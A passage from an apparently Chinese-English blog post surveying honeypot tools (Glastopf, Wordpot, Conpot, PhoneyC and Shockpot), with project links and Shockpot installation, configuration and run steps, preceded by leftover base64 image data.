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" alt="" />

db/glastopf.db保存了WEB交互的所有原始数据,是一个本地sqlite文件

Relevant Link:

http://glastopf.org/
http://honeynet.org/papers/KYT_glastopf
http://honeynet.org/sites/default/files/files/KYT-Glastopf-Final_v1.pdf
https://github.com/mushorg/BFR
https://github.com/mushorg/glastopf

7. Wordpot

Wordpot is a Wordpress honeypot which detects probes for plugins, themes, timthumb and other common files used to fingerprint a wordpress installation.

Relevant Link:

https://github.com/gbrindisi/wordpot

8. Conpot SCADA/ICS honeypot

Conpot is an ICS honeypot with the goal to collect intelligence about the motives and methods of adversaries targeting industrial control systems

Relevant Link:

https://www.honeynet.org/node/1047
https://github.com/mushorg/conpot
https://www.honeynet.org/taxonomy/term/304

9. phoneyc

PhoneyC is a virtual client honeypot, meaning it is not a real application but rather an emulated client. By using dynamic analysis, PhoneyC is able to remove the obfuscation from many malicious pages. Furthermore, PhoneyC emulates specific vulnerabilities to pinpoint the attack vector. PhoneyC is a modular framework that enables the study of malicious HTTP pages and understands modern vulnerabilities and attacker techniques.

Relevant Link:

https://github.com/honeynet/phoneyc
https://code.google.com/archive/p/phoneyc/
http://citeseer.ist.psu.edu/viewdoc/summary;jsessionid=E30296F5A6B4C85ABBB46C3429974791?doi=10.1.1.148.5317
https://www.usenix.org/legacy/event/leet09/tech/full_papers/nazario/nazario.pdf
https://honeynet.org/project/PhoneyC

10. shockpot

Shockpot is a web app honeypot designed to find attackers attempting to exploit the Bash remote code vulnerability, CVE-2014-6271.

0x1: Installation

git clone https://github.com/threatstream/shockpot.git
cd shockpot
apt-get install python-virtualenv
virtualenv env
. env/bin/activate
pip install -r requirements.txt
//下载bottle框架主文件
wget https://github.com/bottlepy/bottle/raw/master/bottle.py

0x2: Configuration

vim shockpot.conf
[server]
host = 0.0.0.0
port = [headers]
server = Apache/2.0. (Debian) PHP/5.1.-+b1 mod_ssl/2.0. OpenSSL/0.9.8b [hpfeeds]
enabled = false
host = 127.0.0.1
port =
identity = shockpot
secret = secret
channel = shockpot.events
only_exploits = True [fetch_public_ip]
enabled = True
urls = ["http://www.telize.com/ip", "http://queryip.net/ip/", "http://ifconfig.me/ip"] # put any variables in here that you want to render in your template.html.
[template]
title = It Works!

0x3: Running

python shockpot.py

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OBcLasuvILhpaQRMln5T2pAvFYXsXa8mFmo9HsFGeCpi1SLKUglPw9lZ4prvpN5925yXJaBteFwRWkXh9c+UXcXw5qcxFgb0cFubeMjpzSxpN9vDTJHejAoolI88u1hHkzukxi+wsMj6VXklVktrFSEDSHpXkge4HNdGTU7t5Ik9auTvGmOU1o4UHth+LiEWtifR7aeizZwS4j3CYdDTQeIJQsu1MjONPGU7qXKhGtDzCcE4aqIN9LKFmigeF0GCPyhZNPTSUQ32ExS5vuYHi4a9ZUVidtu2ZaMytxmOusdRs2NTLiuJLaKgFcJ6MaTHOI93c67RGn9flslL0/pTDD6ddN1IHYhNa0M70SRsp+2nkzX6NsjYjPV51hMfPeKaLUibMyw3V53kyqwENwRR0uY6B/Bh0xHR2Ss3GnuFu9dKSA5NYjxx6OI+JChG48no41v32877RuohNEc+xPAp/i3vv4NA4xkXkfoRUigg+w5qeE4bn4AMMRPwz654Z4BgvcOSc+BizM2oKBcD98v9fVIvqMxsWg4QiCOAXcuYkvxje69/q9JRYKxGfgG8OQIIhfATMYUQILszIYRwRBEATxSeDOTXwxvtO9l680fKFotZBfJbrbbf8fg2GO8SvD8JvAOCIIG99ZSBBt8ZuFWc3ewTgiCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCILYjyH+o6DuAvf72iBf3URgfK/PfweOfV8M/0hpB7iEnuPc3D16rKko3EzztGZ7qqfosxGu0VIF+OVWAO6wxOPxuDo6Pik2GTJfhmzngtvurffi6MZbuUHzVH4LnFFWdXHv6pR++wJyB+4tU8VJ6pPKgwNK7yjmpuxXrlfnWmnk++dRgcCHBAGpXxESY/b+TuthxopItXnL/duBeHfTFZkk7EimK8YApq+Wyxm4zue362c4EhKnvZINQgf5TD77J2UPqqB+WknagVDnncV2h9tqnta0lr7LT57DksMfeL8Ndoc+G1l3mAy6iiVz5E7sMVwy9Jd3WIVzKts26FIeSFQ6gcwNwwR8LY5emfdjQ+bsg1j72Dyj0M28TrjgMcBtt3Yv3jjNj6uFVcJOK5nS/B2oHroWcihdgFca2wwYp8i46uqUnLNuKXmTYBr8kXJoPiafVlfQH4jissVrHAyyneWxcsCGDqFWcOnyVXuYQ92ofm3DAWTagbKLxO4EAsx1TfaFSKS32KA3uWqXqqUeHi+N3O0EmO552/9R7o6PfPxSgWIxFp/5MfX+hkze5zhfcA6/sFNsMHD1OXaYXvN8wg3AL+gUb0q9bb/yLEL9eosFZm+reVoT4dAW15Qn92ApBqYVy716xTtvLh8S4jnO07D0f4cJ7CvJGcUbuQ9hw+FS87d3WIVPqhxv1ynOa9Zh+j+ypifAe3SKPzhkTj6IdYjN0zrF61m6pQQtOsX5jrCjKIvQSz0D3pzbq5H+nWIjXVQQFmqNq65SyYImVLLIG/P4NM2R5c9hTKkP0zxNwldqDutHYqCsiRoHK3SKVUM8vIZi1qCU91gUl75W8XTHcAaPCVkoO+oUAxEfRq77nE5xepx4PMexiutq6qEJoIzpdtDJDLVQOXjxgVKPHrOL2X0FynOc53HU37laGvLTJFqf6+j0gYP49PiNhzxQMspoRUje+JrRe91U47LDK8WMMm9WgWi61pLHkpwOZJd3rBRt7AFf3in+p6L8KddR4GLaQpUhY2i+VwENCGkPeY5zfqdyPfWB6Sm5TWsy4vT05zjP87x4sYyOWKkGcghUspWsEKFVHbmEwMSAeimOsjXXq5BPfCjJrSZs1FHzIuAU9XmmNVtas4U+jc1